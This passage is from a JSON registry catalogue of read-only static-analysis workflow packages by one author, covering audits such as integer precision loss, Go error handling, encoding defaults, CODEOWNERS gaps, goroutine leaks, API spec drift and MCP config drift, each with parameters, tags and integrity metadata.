settings.","example":"3"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:76bd9bbe707c35f06944d8aa7d5d89d93c10d9851a63ac1bd722e20df3b7d641","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":6,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/js-number-boundaries@1.0.0","reference":"lgoyal6/js-number-boundaries@1.0.0","uri":"https://play.modiqo.ai/lgoyal6/js-number-boundaries@1.0.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/js-number-boundaries@1.0.0","name":"js-number-boundaries","title":"js-number-boundaries","description":"JSON.parse builds a double for every number it sees, and a double holds integers exactly only up to 2**53-1 = 9007199254740991. A 64-bit database id, a snowflake and a nanosecond timestamp are all past that, so the last digits are replaced silently. Nothing throws; the wrong row is fetched. This finds both ends: BIGINT id columns and int literals past the boundary in Python, parseInt and Number on an id, `id: number` in TypeScript, and literals a JS parser rounds on sight. Where both sides are in one tree it matches them by normalised name, so `user_id` minted in Python and `userId` parsed in TypeScript appear as one row with both locations. Milliseconds (1.7e12) and microseconds (1.7e15) are SAFE and excluded by name and counted; only nanoseconds (1.7e18) cross. So are BigInt literals, 32-bit columns and string ids. Read-only, offline, executes nothing.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","code-quality","job-correctness-audit","tool-static-analysis","effect-read-only","javascript","typescript","python","json","integer-overflow","max-safe-integer","bigint","snowflake-id","int64","precision-loss","nanosecond-timestamp","api-boundary","audience-developers","audience-backend","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"1.0.0","published_at":"2026-09-06T05:29:52.222616+00:00","visibility":"public","quality_score":1,"size_bytes":38417,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Directory tree to audit. Must be an ABSOLUTE path, because a step runs inside rote's own workspace rather than your shell directory, so a relative path would scan the wrong tree and report it clean","example":"/Users/you/project"},{"name":"depth","type":"string","required":false,"default":"10","description":"How many directory levels below root to search for source","example":"6"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:bd238e273041c8736ab967dcd7d90ae5df9a3aae6d45c3654e72e68d7f5bf9c5","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":12,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/error-wrapping@1.0.0","reference":"lgoyal6/error-wrapping@1.0.0","uri":"https://play.modiqo.ai/lgoyal6/error-wrapping@1.0.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/error-wrapping@1.0.0","name":"error-wrapping","title":"error-wrapping","description":"An error that arrives with no chain and no context is a 3am problem, not a compile problem: it reads fine in review and tells the responder nothing. Three losses, kept apart because they are three different fixes. fmt.Errorf that renders an error with %v or %s instead of %w, which silently breaks errors.Is and errors.As for every caller above it. A long function with four or more bare `return err` statements, where one message maps to four call sites and Go carries no stack to separate them. And an error assigned to _, reported only where the same file proves that call can fail by binding and checking its error somewhere else. The sentinel-comparison idiom is counted as correct and never reported, and neither is a %w wrap, a format string whose arguments are not errors, or a two-line pass-through. Findings in _test.go come one severity step down, and it says so. Go. Read-only, offline, no credentials.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","reliability-workflows","job-error-handling-audit","tool-static-analysis","effect-read-only","errors-is","error-wrapping","golang","error-handling","errors-as","swallowed-errors","observability","debuggability","incident-response","root-cause","audience-developers","audience-sre","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"1.0.0","published_at":"2026-09-06T05:29:45.161424+00:00","visibility":"public","quality_score":1,"size_bytes":24416,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:1f2a16f0a498bffff58c97515d78b684a1435fcc0283e618ee83a4bc9437681c","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":12,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/encoding-assumptions@1.0.0","reference":"lgoyal6/encoding-assumptions@1.0.0","uri":"https://play.modiqo.ai/lgoyal6/encoding-assumptions@1.0.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/encoding-assumptions@1.0.0","name":"encoding-assumptions","title":"encoding-assumptions","description":"`open(path)` with no encoding= does not mean UTF-8. It means locale.getencoding(): UTF-8 on a Mac, cp1252 on a Windows runner, ASCII in a container with no LANG. The same file parses three ways and the code is correct everywhere the author looked. This finds unstated encodings in Python and ranks them by whether the content is plausibly non-ASCII: a .md, .csv or translations path outranks an opaque one, and a write outranks a read because writing raises rather than mangles. Also pathlib read_text and write_text, subprocess text=True with no encoding, .decode() with no codec, bytes added to str, str() over encoded bytes, strftime locale directives, and case folding used to check a credential. Decided on Python ast, so gzip.open, os.open, a method named open and a shadowed open are excluded by name and counted. Binary mode is excluded: it takes no codec. Read-only, offline, executes nothing.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","code-quality","job-portability-audit","tool-static-analysis","effect-read-only","encoding","unicode","utf-8","locale","mojibake","platform-default-encoding","python","text-io","cross-platform","decode-errors","audience-developers","audience-sre","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"1.0.0","published_at":"2026-09-06T05:29:23.297947+00:00","visibility":"public","quality_score":1,"size_bytes":34341,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Directory tree to audit. Must be an ABSOLUTE path, because a step runs inside rote's own workspace rather than your shell directory, so a relative path would scan the wrong tree and report it clean","example":"/Users/you/project"},{"name":"depth","type":"string","required":false,"default":"10","description":"How many directory levels below root to search for Python source","example":"6"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:b8cfcf87aca89640d8031e27794e491ea297437d3c452323ffa0fb8052dfd002","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":12,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/codeowners-gaps@0.1.1","reference":"lgoyal6/codeowners-gaps@0.1.1","uri":"https://play.modiqo.ai/lgoyal6/codeowners-gaps@0.1.1","manifest_uri":"https://play.modiqo.ai/lgoyal6/codeowners-gaps@0.1.1","name":"codeowners-gaps","title":"codeowners-gaps","description":"A CODEOWNERS file is a promise that somebody must review these paths. Directories get renamed and the promise quietly stops applying, with nothing to warn you. This reports both directions against the TRACKED file set git actually holds: patterns matching no file at all (the renamed-directory case), files no pattern reaches at all, rules that name a pattern and NO owners - which under last-match-wins CANCEL the ownership an earlier rule granted - and owners listed who no longer appear in the commit history. Matching is structural and anchored per path segment, so /api can never claim apiary/. A team is never called absent from a history it cannot author in. A shallow clone renders the history half UNAVAILABLE, never clean. An address-shaped owner is redacted on the token SHAPE before it can enter a finding. Read-only and offline: git is only ever read, nothing is fetched, nothing is written.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","repo-governance","job-code-review","tool-git","effect-read-only","codeowners","code-review","ownership","unowned-code","dead-pattern","review-requirements","renamed-directory","audience-maintainers","audience-platform-teams","read-only","offline","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.1","published_at":"2026-09-06T04:58:58.744917+00:00","visibility":"public","quality_score":1,"size_bytes":21734,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the git work tree to audit. A relative path is refused, because a step runs in rote's own workspace and would scan the wrong tree.","example":"/Users/you/src/your-repo"},{"name":"max_files","type":"string","required":false,"default":"60000","description":"Cap on tracked files matched against the pattern set. Exceeding it is reported as PARTIAL, never as a clean result.","example":"20000"},{"name":"max_commits","type":"string","required":false,"default":"20000","description":"Cap on commits read when looking for owners who have stopped appearing. Only ever read, never written.","example":"5000"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:7113d8628bb391cbc5b1001b1d7ecde661cdc22bbf169ae7cc6e1156c3f750f2","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":8,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/agent-file-churn@0.1.0","reference":"lgoyal6/agent-file-churn@0.1.0","uri":"https://play.modiqo.ai/lgoyal6/agent-file-churn@0.1.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/agent-file-churn@0.1.0","name":"agent-file-churn","title":"agent-file-churn","description":"Your agents rewrote one file twenty times. That file is either badly specified, so the agent keeps guessing what you meant, or badly factored, so every change forces a rewrite of the whole thing. This joins the session records your coding agents already write to disk against the git history of the repos those files live in, and reports agent edits per LANDED commit. An edit counts only as a structural record: a Claude Code tool_use block naming a file-writing tool, or a Codex patch_apply_end that succeeded. A path an agent READ, typed into a shell command, or mentioned in prose is not an edit, and a failed patch is not an edit either - which is the whole difference between this and grepping transcripts for filenames. The second finding is a TRACKED file with many agent rewrites and no commit touching it: work abandoned or still uncommitted, and either way unreviewed. Untracked files, scratch directories and rote's own workspace are excluded and counted, never graded.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-developer-tooling","operations-workflows","job-agent-effectiveness","tool-shell","effect-read-only","coding-agents","claude-code","codex","session-transcripts","git-history","code-churn","refactoring-signal","audience-developers","audience-engineering-managers","read-only","offline","no-credentials","local-only"],"primary_domain":"domain-developer-tooling","author":"lgoyal6","version":"0.1.0","published_at":"2026-09-06T04:47:50.804888+00:00","visibility":"public","quality_score":1,"size_bytes":18925,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["join","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute directory the edited files are expected to live under. A process.exec step runs in rote's workspace, not your shell, so a relative value would point at rote's own scratch directory, match nothing, and the report would say your agents rewrite nothing; a relative value is refused with exit 2.","example":"/Users/you/src"},{"name":"agent_home","type":"string","required":false,"default":"","description":"Absolute path to the home directory holding the session records (.claude/projects, .codex/sessions). Empty means $HOME. Absolute for the same reason as root, and refused if relative.","example":"/Users/you"},{"name":"window_days","type":"string","required":false,"default":"30","description":"Only read session records modified within this many days, and only count commits since then. Both sides of the ratio use this one window, because an edit count over a month divided by a commit count over a year is not a ratio of anything. 0 reads everything.","example":"14"},{"name":"min_edits","type":"string","required":false,"default":"5","description":"Minimum agent edits before a file can be graded. Below this the ratio is dominated by noise - two edits and no commit says nothing at all.","example":"8"},{"name":"high_ratio","type":"string","required":false,"default":"4","description":"Agent edits per landed commit at which a file becomes a medium finding; twice this is high.","example":"6"},{"name":"max_shards","type":"string","required":false,"default":"24","description":"How many parallel shards the transcripts are split across. Shards are balanced by BYTES, not by file count, so one enormous transcript cannot starve a shard into a timeout.","example":"32"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:cc6a8b18ab7df576903eb33be5747836f7bbeabe75b43007efd845f268307288","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":1,"fan_out":8,"for_each_steps":1,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/goroutine-leaks@1.0.0","reference":"lgoyal6/goroutine-leaks@1.0.0","uri":"https://play.modiqo.ai/lgoyal6/goroutine-leaks@1.0.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/goroutine-leaks@1.0.0","name":"goroutine-leaks","title":"goroutine-leaks","description":"A goroutine that cannot terminate is not a slow path, it is a permanent one: its stack, its captured closure and everything reachable from them stay allocated until the process dies. Six shapes are separated: a select inside a for with no ctx.Done(), no stop channel, no default and no return in any case body; a range over a channel nothing in the file closes; a send on an unbuffered channel with no receiver guarantee; a ticker created and never Stopped; a WaitGroup counted in but never Done; and a Done an early return skips because it was not deferred. Every finding names the go statement that launched the goroutine, not only the line it is parked on. Twelve correct shapes are counted and never reported, including a buffered send, a launcher that receives it, a goroutine that Waits rather than joins, an atomic Add that is not WaitGroup accounting, a struct-field ticker, and a loop that returns beside its select. Go. Read-only, offline, no credentials.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","reliability-workflows","job-concurrency-audit","tool-static-analysis","effect-read-only","goroutine","goroutine-leak","golang","concurrency","context-cancellation","waitgroup","ticker","channels","select","memory-growth","audience-developers","audience-sre","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"1.0.0","published_at":"2026-09-06T04:44:46.518353+00:00","visibility":"public","quality_score":1,"size_bytes":27475,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c1e478479c7c22286ac039d37c531d832d3b15f8d1d3c6ca9cc4ffc7f6a57bdb","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":12,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/api-doc-drift@0.1.1","reference":"lgoyal6/api-doc-drift@0.1.1","uri":"https://play.modiqo.ai/lgoyal6/api-doc-drift@0.1.1","manifest_uri":"https://play.modiqo.ai/lgoyal6/api-doc-drift@0.1.1","name":"api-doc-drift","title":"api-doc-drift","description":"Other teams build against your OpenAPI spec, and it quietly stopped being true three releases ago. This reads the spec as DATA and the routes the code actually registers as SOURCE, reduces both sides to METHOD plus a path template with parameter names erased, and names every place they disagree: an operation the spec documents that no route under this root serves, a route the code serves that the spec never mentions, a path parameter the two sides spell differently, and a 4xx or 5xx the spec promises that the handler never writes. A mounted router prefix is matched by whole-segment suffix, so a missing endpoint is never invented out of a mount this play could not resolve. A tree with no readable spec is reported as an ABSENCE, never as a hundred undocumented routes, and a spec that will not parse is UNRESOLVED rather than clean. Executes nothing and contacts no server; it never imports the app to ask it for its own schema. Read-only, offline. Needs python3, bash, an ABSOLUTE root.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-web","domain-quality","job-api-surface-review","tool-shell","effect-read-only","openapi","swagger","api-contract","contract-drift","endpoint-inventory","route-registration","spec-drift","fastapi","flask","express","gin","client-generation","developer-experience","audience-backend-developers","audience-api-consumers","audience-platform-teams","read-only","offline","no-network","no-credentials","static-analysis"],"primary_domain":"domain-web","author":"lgoyal6","version":"0.1.1","published_at":"2026-09-06T04:41:21.06655+00:00","visibility":"public","quality_score":1,"size_bytes":38948,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["census","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute directory to scan. A process.exec step runs in rote's own workspace rather than in your shell's directory, so a relative path would scan the wrong tree and report a confident clean bill of health about it; a relative value is refused with exit 2.","example":"/Users/you/src/my-service"},{"name":"depth","type":"string","required":false,"default":"10","description":"How many directory levels below root to search for spec documents and route files","example":"6"},{"name":"per_shard","type":"string","required":false,"default":"120","description":"How many files each analyze child reads. The fan-out carries shard IDS rather than paths, because a step's stdout is cut at 65536 bytes and one path per item would cap the scan near nine hundred files without saying so.","example":"200"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:41b516d03ded3cc58d92f6e03e7e9e68426239944693d6ed19e012b12ced95b8","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":8,"for_each_steps":1,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/mcp-config-drift@0.1.0","reference":"lgoyal6/mcp-config-drift@0.1.0","uri":"https://play.modiqo.ai/lgoyal6/mcp-config-drift@0.1.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/mcp-config-drift@0.1.0","name":"mcp-config-drift","title":"mcp-config-drift","description":"The same MCP server is declared in Claude Code, Codex, Cursor, Windsurf, VS Code and Claude Desktop, and the declarations have drifted. That is why a server works in one tool and fails in the next. A server NAME is not a server DEFINITION, so every declaration is reduced to a redacted fingerprint and fingerprints are compared, never file paths. Graded: transport mismatch (stdio here, HTTP there - two programs under one name); endpoint drift; a different launcher or argv; an env key or auth header present in one harness only; and PATH-resolution risk, where one harness names the binary absolutely and another by bare name, so a GUI-launched editor with a different PATH fails where your terminal works. Reach drift, global in one harness and one project in another, is medium. Redaction is keyed on FIELD NAME, never a value's shape: env values, header values, URL paths and argv values never leave the analyzer; key names and flag names do.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-developer-tooling","operations-workflows","job-agent-config-audit","tool-shell","effect-read-only","mcp-servers","config-drift","claude-code","claude-desktop","codex","cursor","windsurf","vscode","agent-harness","audience-developers","read-only","offline","no-credentials","local-only"],"primary_domain":"domain-developer-tooling","author":"lgoyal6","version":"0.1.0","published_at":"2026-09-06T04:41:18.653414+00:00","visibility":"public","quality_score":1,"size_bytes":20407,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute directory to search for project-scoped MCP declaration files (.mcp.json, .cursor/mcp.json, .vscode/mcp.json, .windsurf/mcp_config.json). A process.exec step runs in rote's workspace, not your shell, so a relative value would scan rote's own scratch directory, find nothing, and report a machine clean that was never looked at; a relative value is refused with exit 2.","example":"/Users/you/src"},{"name":"agent_home","type":"string","required":false,"default":"","description":"Absolute path to the home directory holding the harness configs (.claude.json, .codex/config.toml, .cursor/, Library/Application Support/). Empty means $HOME. Absolute for the same reason as root, and refused if relative.","example":"/Users/you"},{"name":"depth","type":"string","required":false,"default":"4","description":"How many directory levels below root to search for project-scoped declaration files.","example":"3"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:6cf7db1a01f732f6bb3e44f4509136fae3e08d231812ec600a9dce2fe690801e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":6,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/example-code-rot@0.1.1","reference":"lgoyal6/example-code-rot@0.1.1","uri":"https://play.modiqo.ai/lgoyal6/example-code-rot@0.1.1","manifest_uri":"https://play.modiqo.ai/lgoyal6/example-code-rot@0.1.1","name":"example-code-rot","title":"example-code-rot","description":"The config block in your README is the most copy-pasted thing in the repository and the least tested. Nothing runs it, no test asserts on it, and it goes stale the first time a key is renamed. This parses every language-tagged YAML, JSON, TOML or INI example in the docs and measures it against the keys the code actually reads: a documented key whose name appears nowhere in the source, a documented default that disagrees with the code default, a key the code reads by subscript with no default that no example shows, and a block that will not parse at all. Keys are joined on LEAF NAME with word boundaries, so timeout never matches timeout_ms. A value it cannot compare is never a disagreement, a key it can see mentioned anywhere is left alone, and a tree with no example or no resolvable read is an ABSENCE by name rather than a page of findings. NEVER executes a sample and never hands a block to a loader. Read-only, offline. Needs python3, bash, an ABSOLUTE root.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-quality","domain-docs","job-documentation-review","tool-shell","effect-read-only","documentation-drift","configuration","readme","code-examples","yaml","json","toml","copy-paste","onboarding","default-values","developer-experience","audience-maintainers","audience-technical-writers","audience-open-source","read-only","offline","no-network","no-credentials","static-analysis"],"primary_domain":"domain-quality","author":"lgoyal6","version":"0.1.1","published_at":"2026-09-06T04:40:20.204611+00:00","visibility":"public","quality_score":1,"size_bytes":39699,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["census","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute directory to scan. A process.exec step runs in rote's own workspace rather than in your shell's directory, so a relative path would scan the wrong tree and report a confident clean bill of health about it; a relative value is refused with exit 2.","example":"/Users/you/src/my-project"},{"name":"depth","type":"string","required":false,"default":"10","description":"How many directory levels below root to search for documents and source files","example":"6"},{"name":"per_shard","type":"string","required":false,"default":"120","description":"How many documents each analyze child reads. The fan-out carries shard IDS rather than paths, because a step's stdout is cut at 65536 bytes and one path per item would cap the scan near nine hundred files without saying so.","example":"200"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:1b4bbf51956dcfa62dbdc0c768bca29b1aaf0d96c995859457ad5fc8ecc0ac8c","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":8,"for_each_steps":1,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/assertion-strength@0.1.2","reference":"lgoyal6/assertion-strength@0.1.2","uri":"https://play.modiqo.ai/lgoyal6/assertion-strength@0.1.2","manifest_uri":"https://play.modiqo.ai/lgoyal6/assertion-strength@0.1.2","name":"assertion-strength","title":"assertion-strength","description":"What does this test actually prove? An exact equality on a computed value pins the result down. assertTrue(result) is true for 1, \"x\" and [0] alike. assertIsNotNone says only that something came back, and a broad pytest.raises(Exception) says only that something went wrong. This ranks every assertion in every Python test by parse-tree shape and reports the tests whose STRONGEST one is a weak one, with file and line. The gates are what make it usable: assertTrue(a == b) is ranked by the equality inside it, allclose and an elementwise bounds check are exact claims, and a test whose assertions live in a project helper is UNKNOWN, never weak. Tests with NO assertion are a different defect: the vacuous-tests play reports those, and they are counted here, never recomputed. Measured on three large trees: 631 of 33473, 441 of 10404 and 240 of 8585 ranked tests are green for a range wide enough to include the bug. Never runs a test. Needs python3 and bash.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","testing-workflows","job-assertion-quality-audit","tool-static-analysis","effect-read-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.2","published_at":"2026-09-06T04:35:49.471618+00:00","visibility":"public","quality_score":1,"size_bytes":24328,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the tree whose Python tests should be ranked. A relative path is refused, because a step runs in rote's own workspace rather than in your shell directory, so a bare dot would rank the wrong tree and then report a clean bill about it.","example":"/Users/you/your-repo"},{"name":"max_files","type":"string","required":false,"default":"6000","description":"Ceiling on how many test files are analyzed; a tree over it is reported as PARTIAL rather than silently cut","example":"20000"},{"name":"top","type":"string","required":false,"default":"12","description":"How many findings to print in full per group before the rest are summarised","example":"30"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:67acf3f7703debacb18eacd1a8f16761ea1069a32674f72ea461539149e77201","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":8,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/changelog-gaps@0.1.0","reference":"lgoyal6/changelog-gaps@0.1.0","uri":"https://play.modiqo.ai/lgoyal6/changelog-gaps@0.1.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/changelog-gaps@0.1.0","name":"changelog-gaps","title":"changelog-gaps","description":"A release went out and nobody wrote down what changed. This reads the git tags, the changelog, and the commits between each pair of tags, and reports both directions plus the gap in the middle: a tag with no 